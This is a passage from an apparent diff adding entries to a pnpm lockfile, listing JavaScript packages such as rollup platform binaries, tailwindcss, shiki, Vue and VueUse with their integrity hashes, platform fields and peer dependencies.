'@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.25': + resolution: {integrity: sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==} + + '@rolldown/pluginutils@1.0.0-beta.53': + resolution: {integrity: sha512-vENRlFU4YbrwVqNDZ7fLvy+JR1CRkyr01jhSiDpE1u6py3OMzQfztQU2jxykW3ALNxO4kSlqIDeYyD0Y9RcQeQ==} + + '@rollup/rollup-android-arm-eabi@4.40.0': + resolution: {integrity: sha512-+Fbls/diZ0RDerhE8kyC6hjADCXA1K4yVNlH0EYfd2XjyH0UGgzaQ8MlT0pCXAThfxv3QUAczHaL+qSv1E4/Cg==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm-eabi@4.53.3': + resolution: {integrity: sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.40.0': + resolution: {integrity: sha512-PPA6aEEsTPRz+/4xxAmaoWDqh67N7wFbgFUJGMnanCFs0TV99M0M8QhhaSCks+n6EbQoFvLQgYOGXxlMGQe/6w==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-android-arm64@4.53.3': + resolution: {integrity: sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.40.0': + resolution: {integrity: sha512-GwYOcOakYHdfnjjKwqpTGgn5a6cUX7+Ra2HeNj/GdXvO2VJOOXCiYYlRFU4CubFM67EhbmzLOmACKEfvp3J1kQ==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-arm64@4.53.3': + resolution: {integrity: sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.40.0': + resolution: {integrity: sha512-CoLEGJ+2eheqD9KBSxmma6ld01czS52Iw0e2qMZNpPDlf7Z9mj8xmMemxEucinev4LgHalDPczMyxzbq+Q+EtA==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.53.3': + resolution: {integrity: sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.40.0': + resolution: {integrity: sha512-r7yGiS4HN/kibvESzmrOB/PxKMhPTlz+FcGvoUIKYoTyGd5toHp48g1uZy1o1xQvybwwpqpe010JrcGG2s5nkg==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-arm64@4.53.3': + resolution: {integrity: sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.40.0': + resolution: {integrity: sha512-mVDxzlf0oLzV3oZOr0SMJ0lSDd3xC4CmnWJ8Val8isp9jRGl5Dq//LLDSPFrasS7pSm6m5xAcKaw3sHXhBjoRw==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.53.3': + resolution: {integrity: sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.40.0': + resolution: {integrity: sha512-y/qUMOpJxBMy8xCXD++jeu8t7kzjlOCkoxxajL58G62PJGBZVl/Gwpm7JK9+YvlB701rcQTzjUZ1JgUoPTnoQA==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm-gnueabihf@4.53.3': + resolution: {integrity: sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm-musleabihf@4.40.0': + resolution: {integrity: sha512-GoCsPibtVdJFPv/BOIvBKO/XmwZLwaNWdyD8TKlXuqp0veo2sHE+A/vpMQ5iSArRUz/uaoj4h5S6Pn0+PdhRjg==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm-musleabihf@4.53.3': + resolution: {integrity: sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm64-gnu@4.40.0': + resolution: {integrity: sha512-L5ZLphTjjAD9leJzSLI7rr8fNqJMlGDKlazW2tX4IUF9P7R5TMQPElpH82Q7eNIDQnQlAyiNVfRPfP2vM5Avvg==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-arm64-gnu@4.53.3': + resolution: {integrity: sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-arm64-musl@4.40.0': + resolution: {integrity: sha512-ATZvCRGCDtv1Y4gpDIXsS+wfFeFuLwVxyUBSLawjgXK2tRE6fnsQEkE4csQQYWlBlsFztRzCnBvWVfcae/1qxQ==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-arm64-musl@4.53.3': + resolution: {integrity: sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-loong64-gnu@4.53.3': + resolution: {integrity: sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==} + cpu: [loong64] + os: [linux] + + '@rollup/rollup-linux-loongarch64-gnu@4.40.0': + resolution: {integrity: sha512-wG9e2XtIhd++QugU5MD9i7OnpaVb08ji3P1y/hNbxrQ3sYEelKJOq1UJ5dXczeo6Hj2rfDEL5GdtkMSVLa/AOg==} + cpu: [loong64] + os: [linux] + + '@rollup/rollup-linux-powerpc64le-gnu@4.40.0': + resolution: {integrity: sha512-vgXfWmj0f3jAUvC7TZSU/m/cOE558ILWDzS7jBhiCAFpY2WEBn5jqgbqvmzlMjtp8KlLcBlXVD2mkTSEQE6Ixw==} + cpu: [ppc64] + os: [linux] + + '@rollup/rollup-linux-ppc64-gnu@4.53.3': + resolution: {integrity: sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==} + cpu: [ppc64] + os: [linux] + + '@rollup/rollup-linux-riscv64-gnu@4.40.0': + resolution: {integrity: sha512-uJkYTugqtPZBS3Z136arevt/FsKTF/J9dEMTX/cwR7lsAW4bShzI2R0pJVw+hcBTWF4dxVckYh72Hk3/hWNKvA==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-riscv64-gnu@4.53.3': + resolution: {integrity: sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-riscv64-musl@4.40.0': + resolution: {integrity: sha512-rKmSj6EXQRnhSkE22+WvrqOqRtk733x3p5sWpZilhmjnkHkpeCgWsFFo0dGnUGeA+OZjRl3+VYq+HyCOEuwcxQ==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-riscv64-musl@4.53.3': + resolution: {integrity: sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-s390x-gnu@4.40.0': + resolution: {integrity: sha512-SpnYlAfKPOoVsQqmTFJ0usx0z84bzGOS9anAC0AZ3rdSo3snecihbhFTlJZ8XMwzqAcodjFU4+/SM311dqE5Sw==} + cpu: [s390x] + os: [linux] + + '@rollup/rollup-linux-s390x-gnu@4.53.3': + resolution: {integrity: sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==} + cpu: [s390x] + os: [linux] + + '@rollup/rollup-linux-x64-gnu@4.40.0': + resolution: {integrity: sha512-RcDGMtqF9EFN8i2RYN2W+64CdHruJ5rPqrlYw+cgM3uOVPSsnAQps7cpjXe9be/yDp8UC7VLoCoKC8J3Kn2FkQ==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-linux-x64-gnu@4.53.3': + resolution: {integrity: sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-linux-x64-musl@4.40.0': + resolution: {integrity: sha512-HZvjpiUmSNx5zFgwtQAV1GaGazT2RWvqeDi0hV+AtC8unqqDSsaFjPxfsO6qPtKRRg25SisACWnJ37Yio8ttaw==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-linux-x64-musl@4.53.3': + resolution: {integrity: sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-openharmony-arm64@4.53.3': + resolution: {integrity: sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.40.0': + resolution: {integrity: sha512-UtZQQI5k/b8d7d3i9AZmA/t+Q4tk3hOC0tMOMSq2GlMYOfxbesxG4mJSeDp0EHs30N9bsfwUvs3zF4v/RzOeTQ==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-arm64-msvc@4.53.3': + resolution: {integrity: sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.40.0': + resolution: {integrity: sha512-+m03kvI2f5syIqHXCZLPVYplP8pQch9JHyXKZ3AGMKlg8dCyr2PKHjwRLiW53LTrN/Nc3EqHOKxUxzoSPdKddA==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.53.3': + resolution: {integrity: sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.53.3': + resolution: {integrity: sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.40.0': + resolution: {integrity: sha512-lpPE1cLfP5oPzVjKMx10pgBmKELQnFJXHgvtHCtuJWOv8MxqdEIMNtgHgBFf7Ea2/7EuVwa9fodWUfXAlXZLZQ==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.53.3': + resolution: {integrity: sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==} + cpu: [x64] + os: [win32] + + '@shikijs/core@3.20.0': + resolution: {integrity: sha512-f2ED7HYV4JEk827mtMDwe/yQ25pRiXZmtHjWF8uzZKuKiEsJR7Ce1nuQ+HhV9FzDcbIo4ObBCD9GPTzNuy9S1g==} + + '@shikijs/engine-javascript@3.20.0': + resolution: {integrity: sha512-OFx8fHAZuk7I42Z9YAdZ95To6jDePQ9Rnfbw9uSRTSbBhYBp1kEOKv/3jOimcj3VRUKusDYM6DswLauwfhboLg==} + + '@shikijs/engine-oniguruma@3.20.0': + resolution: {integrity: sha512-Yx3gy7xLzM0ZOjqoxciHjA7dAt5tyzJE3L4uQoM83agahy+PlW244XJSrmJRSBvGYELDhYXPacD4R/cauV5bzQ==} + + '@shikijs/langs@3.20.0': + resolution: {integrity: sha512-le+bssCxcSHrygCWuOrYJHvjus6zhQ2K7q/0mgjiffRbkhM4o1EWu2m+29l0yEsHDbWaWPNnDUTRVVBvBBeKaA==} + + '@shikijs/themes@3.20.0': + resolution: {integrity: sha512-U1NSU7Sl26Q7ErRvJUouArxfM2euWqq1xaSrbqMu2iqa+tSp0D1Yah8216sDYbdDHw4C8b75UpE65eWorm2erQ==} + + '@shikijs/transformers@3.20.0': + resolution: {integrity: sha512-PrHHMRr3Q5W1qB/42kJW6laqFyWdhrPF2hNR9qjOm1xcSiAO3hAHo7HaVyHE6pMyevmy3i51O8kuGGXC78uK3g==} + + '@shikijs/types@3.20.0': + resolution: {integrity: sha512-lhYAATn10nkZcBQ0BlzSbJA3wcmL5MXUUF8d2Zzon6saZDlToKaiRX60n2+ZaHJCmXEcZRWNzn+k9vplr8Jhsw==} + + '@shikijs/vscode-textmate@10.0.2': + resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + + '@tailwindcss/node@4.2.2': + resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} + + '@tailwindcss/oxide-android-arm64@4.2.2': + resolution: {integrity: sha512-dXGR1n+P3B6748jZO/SvHZq7qBOqqzQ+yFrXpoOWWALWndF9MoSKAT3Q0fYgAzYzGhxNYOoysRvYlpixRBBoDg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [android] + + '@tailwindcss/oxide-darwin-arm64@4.2.2': + resolution: {integrity: sha512-iq9Qjr6knfMpZHj55/37ouZeykwbDqF21gPFtfnhCCKGDcPI/21FKC9XdMO/XyBM7qKORx6UIhGgg6jLl7BZlg==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [darwin] + + '@tailwindcss/oxide-darwin-x64@4.2.2': + resolution: {integrity: sha512-BlR+2c3nzc8f2G639LpL89YY4bdcIdUmiOOkv2GQv4/4M0vJlpXEa0JXNHhCHU7VWOKWT/CjqHdTP8aUuDJkuw==} + engines: {node: '>= 20'} + cpu: [x64] + os: [darwin] + + '@tailwindcss/oxide-freebsd-x64@4.2.2': + resolution: {integrity: sha512-YUqUgrGMSu2CDO82hzlQ5qSb5xmx3RUrke/QgnoEx7KvmRJHQuZHZmZTLSuuHwFf0DJPybFMXMYf+WJdxHy/nQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [freebsd] + + '@tailwindcss/oxide-linux-arm-gnueabihf@4.2.2': + resolution: {integrity: sha512-FPdhvsW6g06T9BWT0qTwiVZYE2WIFo2dY5aCSpjG/S/u1tby+wXoslXS0kl3/KXnULlLr1E3NPRRw0g7t2kgaQ==} + engines: {node: '>= 20'} + cpu: [arm] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-gnu@4.2.2': + resolution: {integrity: sha512-4og1V+ftEPXGttOO7eCmW7VICmzzJWgMx+QXAJRAhjrSjumCwWqMfkDrNu1LXEQzNAwz28NCUpucgQPrR4S2yw==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-arm64-musl@4.2.2': + resolution: {integrity: sha512-oCfG/mS+/+XRlwNjnsNLVwnMWYH7tn/kYPsNPh+JSOMlnt93mYNCKHYzylRhI51X+TbR+ufNhhKKzm6QkqX8ag==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-gnu@4.2.2': + resolution: {integrity: sha512-rTAGAkDgqbXHNp/xW0iugLVmX62wOp2PoE39BTCGKjv3Iocf6AFbRP/wZT/kuCxC9QBh9Pu8XPkv/zCZB2mcMg==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-linux-x64-musl@4.2.2': + resolution: {integrity: sha512-XW3t3qwbIwiSyRCggeO2zxe3KWaEbM0/kW9e8+0XpBgyKU4ATYzcVSMKteZJ1iukJ3HgHBjbg9P5YPRCVUxlnQ==} + engines: {node: '>= 20'} + cpu: [x64] + os: [linux] + + '@tailwindcss/oxide-wasm32-wasi@4.2.2': + resolution: {integrity: sha512-eKSztKsmEsn1O5lJ4ZAfyn41NfG7vzCg496YiGtMDV86jz1q/irhms5O0VrY6ZwTUkFy/EKG3RfWgxSI3VbZ8Q==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + bundledDependencies: + - '@napi-rs/wasm-runtime' + - '@emnapi/core' + - '@emnapi/runtime' + - '@tybys/wasm-util' + - '@emnapi/wasi-threads' + - tslib + + '@tailwindcss/oxide-win32-arm64-msvc@4.2.2': + resolution: {integrity: sha512-qPmaQM4iKu5mxpsrWZMOZRgZv1tOZpUm+zdhhQP0VhJfyGGO3aUKdbh3gDZc/dPLQwW4eSqWGrrcWNBZWUWaXQ==} + engines: {node: '>= 20'} + cpu: [arm64] + os: [win32] + + '@tailwindcss/oxide-win32-x64-msvc@4.2.2': + resolution: {integrity: sha512-1T/37VvI7WyH66b+vqHj/cLwnCxt7Qt3WFu5Q8hk65aOvlwAhs7rAp1VkulBJw/N4tMirXjVnylTR72uI0HGcA==} + engines: {node: '>= 20'} + cpu: [x64] + os: [win32] + + '@tailwindcss/oxide@4.2.2': + resolution: {integrity: sha512-qEUA07+E5kehxYp9BVMpq9E8vnJuBHfJEC0vPC5e7iL/hw7HR61aDKoVoKzrG+QKp56vhNZe4qwkRmMC0zDLvg==} + engines: {node: '>= 20'} + + '@tailwindcss/postcss@4.2.2': + resolution: {integrity: sha512-n4goKQbW8RVXIbNKRB/45LzyUqN451deQK0nzIeauVEqjlI49slUlgKYJM2QyUzap/PcpnS7kzSUmPb1sCRvYQ==} + + '@types/babel__core@7.20.5': + resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} + + '@types/babel__generator@7.27.0': + resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} + + '@types/babel__template@7.4.4': + resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} + + '@types/babel__traverse@7.20.7': + resolution: {integrity: sha512-dkO5fhS7+/oos4ciWxyEyjWe48zmG6wbCheo/G2ZnHx4fs3EU6YC6UM8rk56gAjNJ9P3MTH2jo5jb92/K6wbng==} + + '@types/estree@1.0.7': + resolution: {integrity: sha512-w28IoSUCJpidD/TGviZwwMJckNESJZXFu7NBZ5YJ4mEUnNraUn9Pm8HSZm/jDF1pDWYKspWE7oVphigUPRakIQ==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/hast@3.0.4': + resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} + + '@types/json-schema@7.0.15': + resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} + + '@types/linkify-it@5.0.0': + resolution: {integrity: sha512-sVDA58zAw4eWAffKOaQH5/5j3XeayukzDk+ewSsnv3p4yJEZHCCzMDiZM8e0OUrRvmpGZ85jf4yDHkHsgBNr9Q==} + + '@types/markdown-it@14.1.2': + resolution: {integrity: sha512-promo4eFwuiW+TfGxhi+0x3czqTYJkG8qB17ZUJiVF10Xm7NLVRSLUsfRTU/6h1e24VvRnXCx+hG7li58lkzog==} + + '@types/mdast@4.0.4': + resolution: {integrity: sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==} + + '@types/mdurl@2.0.0': + resolution: {integrity: sha512-RGdgjQUZba5p6QEFAVx2OGb8rQDL/cPRG7GiedRzMcJ1tYnUANBncjbSB1NRGwbvjcPeikRABz2nshyPk1bhWg==} + + '@types/react-dom@19.1.2': + resolution: {integrity: sha512-XGJkWF41Qq305SKWEILa1O8vzhb3aOo3ogBlSmiqNko/WmRb6QIaweuZCXjKygVDXpzXb5wyxKTSOsmkuqj+Qw==} + peerDependencies: + '@types/react': ^19.0.0 + + '@types/react-dom@19.2.3': + resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==} + peerDependencies: + '@types/react': ^19.2.0 + + '@types/react@19.1.2': + resolution: {integrity: sha512-oxLPMytKchWGbnQM9O7D67uPa9paTNxO7jVoNMXgkkErULBPhPARCfkKL9ytcIJJRGjbsVwW4ugJzyFFvm/Tiw==} + + '@types/react@19.2.14': + resolution: {integrity: sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==} + + '@types/unist@3.0.3': + resolution: {integrity: sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==} + + '@types/web-bluetooth@0.0.21': + resolution: {integrity: sha512-oIQLCGWtcFZy2JW77j9k8nHzAOpqMHLQejDA48XXMWH6tjCQHz5RCFz1bzsmROyL6PUm+LLnUiI4BCn221inxA==} + + '@ungap/structured-clone@1.3.0': + resolution: {integrity: sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==} + + '@vitejs/plugin-react@4.4.1': + resolution: {integrity: sha512-IpEm5ZmeXAP/osiBXVVP5KjFMzbWOonMs0NaQQl+xYnUAcq4oHUBsF2+p4MgKWG4YMmFYJU8A6sxRPuowllm6w==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 + + '@vitejs/plugin-vue@6.0.3': + resolution: {integrity: sha512-TlGPkLFLVOY3T7fZrwdvKpjprR3s4fxRln0ORDo1VQ7HHyxJwTlrjKU3kpVWTlaAjIEuCTokmjkZnr8Tpc925w==} + engines: {node: ^20.19.0 || >=22.12.0} + peerDependencies: + vite: ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 + vue: ^3.2.25 + + '@vue/compiler-core@3.5.25': + resolution: {integrity: sha512-vay5/oQJdsNHmliWoZfHPoVZZRmnSWhug0BYT34njkYTPqClh3DNWLkZNJBVSjsNMrg0CCrBfoKkjZQPM/QVUw==} + + '@vue/compiler-dom@3.5.25': + resolution: {integrity: sha512-4We0OAcMZsKgYoGlMjzYvaoErltdFI2/25wqanuTu+S4gismOTRTBPi4IASOjxWdzIwrYSjnqONfKvuqkXzE2Q==} + + '@vue/compiler-sfc@3.5.25': + resolution: {integrity: sha512-PUgKp2rn8fFsI++lF2sO7gwO2d9Yj57Utr5yEsDf3GNaQcowCLKL7sf+LvVFvtJDXUp/03+dC6f2+LCv5aK1ag==} + + '@vue/compiler-ssr@3.5.25': + resolution: {integrity: sha512-ritPSKLBcParnsKYi+GNtbdbrIE1mtuFEJ4U1sWeuOMlIziK5GtOL85t5RhsNy4uWIXPgk+OUdpnXiTdzn8o3A==} + + '@vue/devtools-api@8.0.5': + resolution: {integrity: sha512-DgVcW8H/Nral7LgZEecYFFYXnAvGuN9C3L3DtWekAncFBedBczpNW8iHKExfaM559Zm8wQWrwtYZ9lXthEHtDw==} + + '@vue/devtools-kit@8.0.5': + resolution: {integrity: sha512-q2VV6x1U3KJMTQPUlRMyWEKVbcHuxhqJdSr6Jtjz5uAThAIrfJ6WVZdGZm5cuO63ZnSUz0RCsVwiUUb0mDV0Yg==} + + '@vue/devtools-shared@8.0.5': + resolution: {integrity: sha512-bRLn6/spxpmgLk+iwOrR29KrYnJjG9DGpHGkDFG82UM21ZpJ39ztUT9OXX3g+usW7/b2z+h46I9ZiYyB07XMXg==} + + '@vue/reactivity@3.5.25': + resolution: {integrity: sha512-5xfAypCQepv4Jog1U4zn8cZIcbKKFka3AgWHEFQeK65OW+Ys4XybP6z2kKgws4YB43KGpqp5D/K3go2UPPunLA==} + + '@vue/runtime-core@3.5.25': + resolution: {integrity: sha512-Z751v203YWwYzy460bzsYQISDfPjHTl+6Zzwo/a3CsAf+0ccEjQ8c+0CdX1WsumRTHeywvyUFtW6KvNukT/smA==} + + '@vue/runtime-dom@3.5.25': + resolution: {integrity: sha512-a4WrkYFbb19i9pjkz38zJBg8wa/rboNERq3+hRRb0dHiJh13c+6kAbgqCPfMaJ2gg4weWD3APZswASOfmKwamA==} + + '@vue/server-renderer@3.5.25': + resolution: {integrity: sha512-UJaXR54vMG61i8XNIzTSf2Q7MOqZHpp8+x3XLGtE3+fL+nQd+k7O5+X3D/uWrnQXOdMw5VPih+Uremcw+u1woQ==} + peerDependencies: + vue: 3.5.25 + + '@vue/shared@3.5.25': + resolution: {integrity: sha512-AbOPdQQnAnzs58H2FrrDxYj/TJfmeS2jdfEEhgiKINy+bnOANmVizIEgq1r+C5zsbs6l1CCQxtcj71rwNQ4jWg==} + + '@vueuse/core@14.1.0': + resolution: {integrity: sha512-rgBinKs07hAYyPF834mDTigH7BtPqvZ3Pryuzt1SD/lg5wEcWqvwzXXYGEDb2/cP0Sj5zSvHl3WkmMELr5kfWw==} + peerDependencies: + vue: ^3.5.0 + + '@vueuse/integrations@14.1.0': + resolution: {integrity: sha512-eNQPdisnO9SvdydTIXnTE7c29yOsJBD/xkwEyQLdhDC/LKbqrFpXHb3uS//7NcIrQO3fWVuvMGp8dbK6mNEMCA==} + peerDependencies: + async-validator: ^4 + axios: ^1 + change-case: ^5 + drauu: ^0.4 + focus-trap: ^7 + fuse.js: ^7 + idb-keyval: ^6 + jwt-decode: ^4 + nprogress: ^0.2 + qrcode: ^1.5 + sortablejs: ^1 + universal-cookie: ^7 || ^8 + vue: ^3.5.0 + peerDependenciesMeta: + async-validator: + optional: true + axios: + optional: true + change-case: + optional: true + drauu: + optional: true + focus-trap: + optional: true + fuse.js: + optional: true + idb-keyval: + optional: true + jwt-decode: + optional: true + nprogress: + optional: true + qrcode: + optional: true + sortablejs: + optional: true + universal-cookie: + optional: true + + '@vueuse/metadata@14.1.0': + resolution: {integrity: sha512-7hK4g015rWn2PhKcZ99NyT+ZD9sbwm7SGvp7k+k+rKGWnLjS/oQozoIZzWfCewSUeBmnJkIb+CNr7Zc/EyRnnA==} + + '@vueuse/shared@14.1.0': + resolution: {integrity: sha512-EcKxtYvn6gx1F8z9J5/rsg3+lTQnvOruQd8fUecW99DCK04BkWD7z5KQ/wTAx+DazyoEE9dJt/zV8OIEQbM6kw==} + peerDependencies: + vue: ^3.5.0 + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.14.1: + resolution: {integrity: sha512-OvQ/2pUDKmgfCg++xsTX1wGxfTaszcHVcTctW4UJB4hibJx2HXxxO5UmVgyjMa+ZDsiaf5wWLXYpRWMmBI0QHg==} + engines: {node: '>=0.4.0'} + hasBin: true + + ajv@6.12.6: + resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} + + ansi-styles@4.3.0: + resolution: {integrity: 